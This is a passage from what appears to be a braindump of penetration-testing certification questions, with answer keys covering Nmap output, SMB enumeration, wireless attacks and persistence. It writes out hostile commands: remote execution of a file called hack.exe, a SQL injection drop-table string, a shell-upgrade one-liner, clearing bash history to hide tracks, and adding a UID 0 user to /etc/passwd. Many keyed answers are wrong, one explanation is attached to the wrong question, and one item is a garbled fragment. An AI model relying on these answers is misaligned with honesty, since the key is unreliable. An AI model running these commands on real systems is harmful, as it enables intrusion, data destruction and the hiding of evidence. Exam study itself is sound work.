- C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
- D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

Answer: A

Explanation:

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

NEW QUESTION 146

A company's Chief Executive Officer has created a secondary home office and is concerned that the WiFi service being used is vulnerable to an attack. A penetration tester is hired to test the security of the WiFi's router. Which of the following is MOST vulnerable to a brute-force attack?

- A. WPS
- B. WPA2-EAP
- C. WPA-TKIP
- D. WPA2-PSK

Answer: A

NEW QUESTION 149

A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, ..., 65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org) Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
80/open/tcp
113/closed/tcp
31337/closed/tcp
Ignored State: filtered (993) OS: Linux 2.6.13 - 2.6.31 Seq Index: 204 IP ID
Seq: All zeros
# Nmap done at [time] -- 1 IP address (1 host up) scanned in 21.90 seconds
```

Based on the output, which of the following services are MOST likely to be exploited? (Choose two.)

- A. Telnet
- B. HTTP
- C. SMTP
- D. DNS
- E. NTP
- F. SNMP

Answer: BD

NEW QUESTION 151

A penetration tester gains access to a system and is able to migrate to a user process:

```
net use S: \\192.168.5.51\CS\temp /persistent no
copy c:\temp\hack.exe S:\temp\hack.exe
wmic.exe /node: "192.168.5.51" process call create "C:\temp\hack.exe"
```

Given the output above, which of the following actions is the penetration tester performing? (Choose two.)

- A. Redirecting output from a file to a remote system
- B. Building a scheduled task for execution
- C. Mapping a share to a remote system
- D. Executing a file on the remote system
- E. Creating a new process on all domain systems
- F. Setting up a reverse shell from a remote system
- G. Adding an additional IP address on the compromised system

Answer: CD

Explanation:

WMIC.exe is a built-in Microsoft program that allows command-line access to the Windows Management Instrumentation. Using this tool, administrators can query the operating system for detailed information about installed hardware and Windows settings, run management tasks, and even execute other programs or commands.

NEW QUESTION 153

After running the enum4linux.pl command, a penetration tester received the following output:

```
=====
| Enumerating Workgroup/Domain on 192.168.100.56 |
=====
[+] Got domain/workgroup name: WORKGROUP
=====
| Session Check on 192.168.100.56 |
=====
[+] Server 192.168.100.56 allows sessions using username '', password ''
=====
| Getting domain SID for 192.168.100.56 |
=====
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
=====
| Share Enumeration on 192.168.100.56 |
=====
Sharename Type Comment
-----
print$ Disk Printer Drivers
web Disk File Server
IPC$ IPC IPC Service (Samba 4.5.12-Debian)
SMB1 disabled -- no workgroup available
[+] Attempting to map shares on 192.168.100.56
//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web Mapping: OK, Listing: OK
//192.168.100.56/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020
```

Which of the following commands should the penetration tester run NEXT?

- A. smbpool //192.160.100.56/print\$
- B. net rpc share -S 192.168.100.56 -U "
- C. smbget //192.168.100.56/web -U "
- D. smbclient //192.168.100.56/web -U " -N

Answer: D

Explanation:

A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

NEW QUESTION 158

A penetration tester conducted an assessment on a web server. The logs from this session show the following:

`http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -`
 Which of the following attacks is being attempted?

- A. Clickjacking
- B. Session hijacking
- C. Parameter pollution
- D. Cookie hijacking

E. Cross-site scripting

Answer: C

NEW QUESTION 160

A Chief Information Security Officer wants a penetration tester to evaluate the security awareness level of the company's employees. Which of the following tools can help the tester achieve this goal?

- A. Metasploit
- B. Hydra
- C. SET
- D. WPScan

Answer: A

NEW QUESTION 161

A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

- A. Cost of the assessment
- B. Report distribution
- C. Testing restrictions
- D. Liability

Answer: B

NEW QUESTION 166

A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades-old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?

- A. The timing of the scan
- B. The bandwidth limitations
- C. The inventory of assets and versions
- D. The type of scan

Answer: C

NEW QUESTION 171

When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

- A. security compliance regulations or laws may be violated.
- B. testing can make detecting actual APT more challenging.
- C. testing adds to the workload of defensive cyber- and threat-hunting teams.
- D. business and network operations may be impacted.

Answer: D

NEW QUESTION 175

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.

Which of the following Nmap scan syntaxes would BEST accomplish this objective?

- A. nmap -sT -vvv -O 192.168.1.2/24 -PO
- B. nmap -sV 192.168.1.2/24 -PO
- C. nmap -sA -v -O 192.168.1.2/24
- D. nmap -sS -O 192.168.1.2/24 -T1

Answer: D

NEW QUESTION 180

A penetration tester runs a scan against a server and obtains the following output: 21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 03-12-20 09:23AM 331 index.aspx

| ftp-syst:

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2012 Std 3389/tcp open ssl/ms-wbt-server

| rdp-ntlm-info:

| Target Name: WEB3

| NetBIOS_Computer_Name: WEB3

| Product_Version: 6.3.9600

|_ System_Time: 2021-01-15T11:32:06+00:00

8443/tcp open http Microsoft IIS httpd 8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_ http-server-header: Microsoft-IIS/8.5

|_ http-title: IIS Windows Server

Which of the following command sequences should the penetration tester try NEXT?

- A. ftp 192.168.53.23
- B. smbclient \\\\WEB3\\IPC\$ -I 192.168.53.23 -U guest
- C. ncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23
- D. curl -X TRACE https://192.168.53.23:8443/index.aspx
- E. nmap --script vuln -sV 192.168.53.23

Answer: A

NEW QUESTION 181

A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?

- A. nmap sn 192.168.0.1/16
- B. nmap sn 192.168.0.1-254
- C. nmap sn 192.168.0.1 192.168.0.1.254
- D. nmap sN 192.168.0.0/24

Answer: B

NEW QUESTION 185

Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

- A. Peach
- B. WinDbg
- C. GDB
- D. OllyDbg

Answer: C

Explanation:

OLLYDBG, WinDBG, and IDA are all debugging tools that support Windows environments. GDB is a Linuxspecific debugging tool.

NEW QUESTION 189

A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:

- > Pre-engagement interaction (scoping and ROE)
- > Intelligence gathering (reconnaissance)
- > Threat modeling
- > Vulnerability analysis
- > Exploitation and post exploitation
- > Reporting

Which of the following methodologies does the client use?

- A. OWASP Web Security Testing Guide
- B. PTES technical guidelines
- C. NIST SP 800-115
- D. OSSTMM

Answer: B

NEW QUESTION 190

A penetration tester is looking for a vulnerability that enables attackers to open doors via a specialized TCP service that is used for a physical access control system. The service exists on more than 100 different hosts, so the tester would like to automate the assessment. Identification requires the penetration tester to:

- > Have a full TCP connection
- > Send a "hello" payload
- > Wait for a response
- > Send a string of characters longer than 16 bytes

Which of the following approaches would BEST support the objective?

- A. Run nmap -Pn -sV --script vuln <IP address>.
- B. Employ an OpenVAS simple scan against the TCP port of the host.
- C. Create a script in the Lua language and use it with NSE.
- D. Perform a credentialed scan with Nessus.

Answer: C

Explanation:

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language) to automate a wide variety of networking tasks. <https://nmap.org>

NEW QUESTION 193

A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

- A. Run nmap with the -o, -p22, and -sC options set against the target
- B. Run nmap with the -sV and -p22 options set against the target

- C. Run nmap with the --script vulners option set against the target
- D. Run nmap with the -sA option set against the target

Answer: A

NEW QUESTION 197

A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?

- A. Send deauthentication frames to the stations.
- B. Perform jamming on all 2.4GHz and 5GHz channels.
- C. Set the malicious AP to broadcast within dynamic frequency selection channels.
- D. Modify the malicious AP configuration to not use a pre-shared key.

Answer: A

Explanation:

<https://steemit.com/informatica/@jordiurbina1/tutorial-hacking-wi-fi-wireless-networks-with-wifislax>

NEW QUESTION 201

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

- A. Check the scoping document to determine if exfiltration is within scope.
- B. Stop the penetration test.
- C. Escalate the issue.
- D. Include the discovery and interaction in the daily report.

Answer: B

Explanation:

"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

NEW QUESTION 204

In Python socket programming, SOCK_DGRAM type is:

- A. reliable.
- B. matrixed.
- C. connectionless.
- D. slower.

Answer: C

Explanation:

Connectionless due to the Datagram portion mentioned so that would mean its using UDP.

NEW QUESTION 205

168.2.2

3: #!/usr/bin/python export \$PORTS = 21,22 for \$PORT in \$PORTS: try:

- A. Mastered
- B. Not Mastered

Answer: A

NEW QUESTION 207

A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

- A. Shoulder surfing
- B. Call spoofing
- C. Badge stealing
- D. Tailgating
- E. Dumpster diving
- F. Email phishing

Answer: CD

NEW QUESTION 208

Which of the following situations would MOST likely warrant revalidation of a previous security assessment?

- A. After detection of a breach
- B. After a merger or an acquisition
- C. When an organization updates its network firewall configurations
- D. When most of the vulnerabilities have been remediated

Answer: D

NEW QUESTION 209

A security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?

- A. Specially craft and deploy phishing emails to key company leaders.
- B. Run a vulnerability scan against the company's external website.
- C. Runtime the company's vendor/supply chain.
- D. Scrape web presences and social-networking sites.

Answer: D

NEW QUESTION 210

A penetration tester wrote the following script to be used in one engagement:

```
#!/usr/bin/python
import socket,sys
ports = [21,22,23,25,80,139,443,445,3306,3389]
if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Too few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()
try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        results = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))
except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

Which of the following actions will this script perform?

- A. Look for open ports.
- B. Listen for a reverse shell.
- C. Attempt to flood open ports.
- D. Create an encrypted tunnel.

Answer: A

NEW QUESTION 213

A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system After running a few commands, the tester runs the following:

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Which of the following actions is the penetration tester performing?

- A. Privilege escalation
- B. Upgrading the shell
- C. Writing a script for persistence
- D. Building a bind shell

Answer: B

NEW QUESTION 215

A penetration tester found several critical SQL injection vulnerabilities during an assessment of a client's system. The tester would like to suggest mitigation to the client as soon as possible.

Which of the following remediation techniques would be the BEST to recommend? (Choose two.)

- A. Closing open services
- B. Encryption users' passwords
- C. Randomizing users' credentials
- D. Users' input validation
- E. Parameterized queries
- F. Output encoding

Answer: DE

NEW QUESTION 219

A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.

Which of the following changes should the tester apply to make the script work as intended?

- A. Change line 2 to \$ip= 10.192.168.254;
- B. Remove lines 3, 5, and 6.
- C. Remove line 6.
- D. Move all the lines below line 7 to the top of the script.

Answer: B

Explanation:

<https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html> Example script:

```
#!/usr/bin/perl
$ip=$argv[1]; attack($ip); sub attack { print("x");
}
```

NEW QUESTION 221

A penetration tester downloaded a Java application file from a compromised web server and identifies how to invoke it by looking at the following log:

```
17:34:23 - F - Info: New connection established :8443
17:34:23 - F - User: bmarney
17:34:23 - F - PW length 15
17:34:23 - F - login exec (/www/app/jre/bin/java -cp ./commapp.jar approval 192.168.0.1 bmarney
17:34:23 - F - login rc:0
```

Which of the following is the order of steps the penetration tester needs to follow to validate whether the Java application uses encryption over sockets?

- A. Run an application vulnerability scan and then identify the TCP ports used by the application.
- B. Run the application attached to a debugger and then review the application's log.
- C. Disassemble the binary code and then identify the break points.
- D. Start a packet capture with Wireshark and then run the application.

Answer: D

NEW QUESTION 224

A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.

Which of the following is most important for the penetration tester to define FIRST?

- A. Establish the format required by the client.
- B. Establish the threshold of risk to escalate to the client immediately.
- C. Establish the method of potential false positives.
- D. Establish the preferred day of the week for reporting.

Answer: B

NEW QUESTION 227

A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?

- A. Immunity Debugger
- B. OllyDbg
- C. GDB
- D. Drozer

Answer: B

NEW QUESTION 229

A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?

- A. Hashcat
- B. Mimikatz
- C. Patator
- D. John the Ripper

Answer: C

Explanation:

<https://www.kali.org/tools/patator/>

NEW QUESTION 234

Given the following code:

```
systems = {
    "10.10.10.1" : "Windows 10",
    "10.10.10.2" : "Windows 10",
    "10.10.10.3" : "Windows 2016",
    "10.10.10.4" : "Linux"
}
```

Which of the following data structures is systems?

- A. A tuple
- B. A tree
- C. An array
- D. A dictionary

Answer: C

NEW QUESTION 238

A penetration tester has extracted password hashes from the lsass.exe memory process. Which of the following should the tester perform NEXT to pass the hash and provide persistence with the newly acquired credentials?

- A. Use Patator to pass the hash and Responder for persistence.
- B. Use Hashcat to pass the hash and Empire for persistence.
- C. Use a bind shell to pass the hash and WMI for persistence.
- D. Use Mimikatz to pass the hash and PsExec for persistence.

Answer: D

Explanation:

Mimikatz is a credential hacking tool that can be used to extract logon passwords from the LSASS process and pass them to other systems. Once the tester has the hashes, they can then use PsExec, a command-line utility from Sysinternals, to pass the hash to the remote system and authenticate with the new credentials. This provides the tester with persistence on the system, allowing them to access it even after a reboot.

"A penetration tester who has extracted password hashes from the lsass.exe memory process can use various tools to pass the hash and gain access to other systems using the same credentials. One tool commonly used for this purpose is Mimikatz, which can extract plaintext passwords from memory or provide a pass-the-hash capability. After gaining access to a system, the tester can use various tools for persistence, such as PsExec or WMI." (CompTIA PenTest+ Study Guide, p. 186)

NEW QUESTION 241

A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

- A. Comma
- B. Double dash
- C. Single quote
- D. Semicolon

Answer: C

NEW QUESTION 246

The results of an Nmap scan are as follows:

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-24 01:10 EST
Nmap scan report for ( 192.168.1.1 )
Host is up (0.0035s latency).
Not shown: 996 filtered ports

Port      State  Service  Version
22/tcp    open  ssh      OpenSSH 6.6.1p1
53/tcp    open  domain   dnsmasq 2.72
80/tcp    open  http     lighttpd
443/tcp   open  ssl/http httpd

Service Info: OS: Linux; Device: router; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 18.45 seconds
```

Which of the following would be the BEST conclusion about this device?

- A. This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.
- B. This device is most likely a gateway with in-band management services.
- C. This device is most likely a proxy server forwarding requests over TCP/443.
- D. This device may be vulnerable to remote code execution because of a buffer overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

Answer: B

Explanation:

The heart bleed bug is an open ssl bug which does not affect SSH Ref:

<https://www.sos-berlin.com/en/news-heartbleed-bug-does-not-affect-jobscheduler-or-ssh>

NEW QUESTION 249

A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

- A. ROE
- B. SLA
- C. MSA
- D. NDA

Answer: D

NEW QUESTION 254

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

- A. Segment the firewall from the cloud.
- B. Scan the firewall for vulnerabilities.
- C. Notify the client about the firewall.
- D. Apply patches to the firewall.

Answer: C

NEW QUESTION 257

A penetration tester gains access to a system and establishes persistence, and then runs the following commands:

```
cat /dev/null > temp
```

```
touch -r .bash_history temp mv temp .bash_history
```

Which of the following actions is the tester MOST likely performing?

- A. Redirecting Bash history to /dev/null
- B. Making a copy of the user's Bash history for further enumeration
- C. Covering tracks by clearing the Bash history
- D. Making decoy files on the system to confuse incident responders

Answer: C

NEW QUESTION 259

A client evaluating a penetration testing company requests examples of its work. Which of the following represents the BEST course of action for the penetration testers?

- A. Redact identifying information and provide a previous customer's documentation.
- B. Allow the client to only view the information while in secure spaces.
- C. Determine which reports are no longer under a period of confidentiality.
- D. Provide raw output from penetration testing tools.

Answer: C

Explanation:

Penetration testing reports contain sensitive information about the vulnerabilities and risks of a customer's systems and networks. Therefore, penetration testers should respect the confidentiality and privacy of their customers and only share their reports with authorized parties. Penetration testers should also follow the terms and conditions of their contracts with their customers, which may include a period of confidentiality that prohibits them from disclosing any information related to the testing without the customer's consent.

NEW QUESTION 263

Which of the following is the BEST resource for obtaining payloads against specific network infrastructure products?

- A. Exploit-DB
- B. Metasploit
- C. Shodan
- D. Retina

Answer: A

Explanation:

"Exploit Database (ExploitDB) is a repository of exploits for the purpose of public security, and it explains what can be found on the database. The ExploitDB is a very useful resource for identifying possible weaknesses in your network and for staying up to date on current attacks occurring in other networks"

NEW QUESTION 268

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

- A. Nmap
- B. Nikto
- C. Cain and Abel
- D. Ethercap

Answer:

B

Explanation:

<https://hackertarget.com/nikto-website-scanner/>

NEW QUESTION 270

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

- A. Try to obtain the private key used for S/MIME from the CEO's account.
- B. Send an email from the CEO's account, requesting a new account.
- C. Move laterally from the mail server to the domain controller.
- D. Attempt to escalate privileges on the mail server to gain root access.

Answer: D

NEW QUESTION 271

The output from a penetration testing tool shows 100 hosts contained findings due to improper patch management. Which of the following did the penetration tester perform?

- A. A vulnerability scan
- B. A WHOIS lookup
- C. A packet capture
- D. An Nmap scan

Answer: A

Explanation:

A vulnerability scan is a type of penetration testing tool that is used to scan a network for vulnerabilities. A vulnerability scan can detect misconfigurations, missing patches, and other security issues that could be exploited by attackers. In this case, the output shows that 100 hosts had findings due to improper patch management, which means that the tester performed a vulnerability scan.

NEW QUESTION 274

A penetration tester receives the following results from an Nmap scan:

`Interesting ports on 192.168.1.1:`

| Port | State | Service |
|----------|--------|-------------|
| 21/tcp | closed | ftp |
| 22/tcp | open | ssh |
| 23/tcp | closed | telnet |
| 25/tcp | closed | smtp |
| 80/tcp | open | http |
| 110/tcp | closed | pop3 |
| 139/tcp | closed | nethics-ssn |
| 443/tcp | closed | https |
| 3389/tcp | closed | rdp |

Which of the following OSs is the target MOST likely running?

- A. CentOS
- B. Arch Linux
- C. Windows Server
- D. Ubuntu

Answer: C

NEW QUESTION 279

A red-team tester has been contracted to emulate the threat posed by a malicious insider on a company's network, with the constrained objective of gaining access to sensitive personnel files. During the assessment, the red-team tester identifies an artifact indicating possible prior compromise within the target environment.

Which of the following actions should the tester take?

- A. Perform forensic analysis to isolate the means of compromise and determine attribution.
- B. Incorporate the newly identified method of compromise into the red team's approach.
- C. Create a detailed document of findings before continuing with the assessment.
- D. Halt the assessment and follow the reporting procedures as outlined in the contract.

Answer: D

NEW QUESTION 282

A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

- A. `nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan`
- B. `nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan`
- C. `nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan`
- D. `nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan`

Answer: C

NEW QUESTION 287

A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:

IP Address: 192.168.1.63

Physical Address: 60-36-dd-a6-c5-33

Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

- A. `tcpdump -i eth01 arp and arp[6:2] == 2`
- B. `arp -s 192.168.1.63 60-36-DD-A6-C5-33`
- C. `ipconfig /all findstr /v 00-00-00 | findstr Physical`
- D. `route add 192.168.1.63 mask 255.255.255.255.0 192.168.1.1`

Answer: B

NEW QUESTION 288

A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?

- A. Halt the penetration test.
- B. Contact law enforcement.
- C. Deconflict with the penetration tester.
- D. Assume the alert is from the penetration test.

Answer: B

NEW QUESTION 293

An Nmap scan shows open ports on web servers and databases. A penetration tester decides to run WPScan and SQLmap to identify vulnerabilities and additional information about those systems.

Which of the following is the penetration tester trying to accomplish?

- A. Uncover potential criminal activity based on the evidence gathered.
- B. Identify all the vulnerabilities in the environment.
- C. Limit invasiveness based on scope.
- D. Maintain confidentiality of the findings.

Answer: C

NEW QUESTION 298

A penetration tester opened a reverse shell on a Linux web server and successfully escalated privileges to root. During the engagement, the tester noticed that another user logged in frequently as root to perform work tasks. To avoid disrupting this user's work, which of the following is the BEST option for the penetration tester to maintain root-level persistence on this server during the test?

- A. Add a web shell to the root of the website.
- B. Upgrade the reverse shell to a true TTY terminal.
- C. Add a new user with ID 0 to the `/etc/passwd` file.
- D. Change the password of the root user and revert after the test.

Answer: C

Explanation:

The best option for the penetration tester to maintain root-level persistence on this server during the test is to add a new user with ID 0 to the `/etc/passwd` file. This will allow the penetration tester to use the same user account as the other user, but with root privileges, meaning that it won't disrupt the other user's work. This can be done by adding a new line with the username and the numerical user ID 0 to the `/etc/passwd` file. For example, if the username for the other user is "johndoe", the line to add would be "johndoe:x:0:0:John Doe:/root:/bin/bash". After the user is added, the penetration tester can use the "su" command to switch to the new user and gain root privileges.

NEW QUESTION 299

In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?

- A. Test for RFC-defined protocol conformance.
- B. Attempt to brute force authentication to the service.
- C. Perform a reverse DNS query and match to the service banner.
- D. Check for an open relay configuration.

Answer: D

Explanation:

SMTP is a protocol associated with mail servers. Therefore, for a penetration tester, an open relay configuration can be exploited to launch phishing attacks.

NEW QUESTION 300

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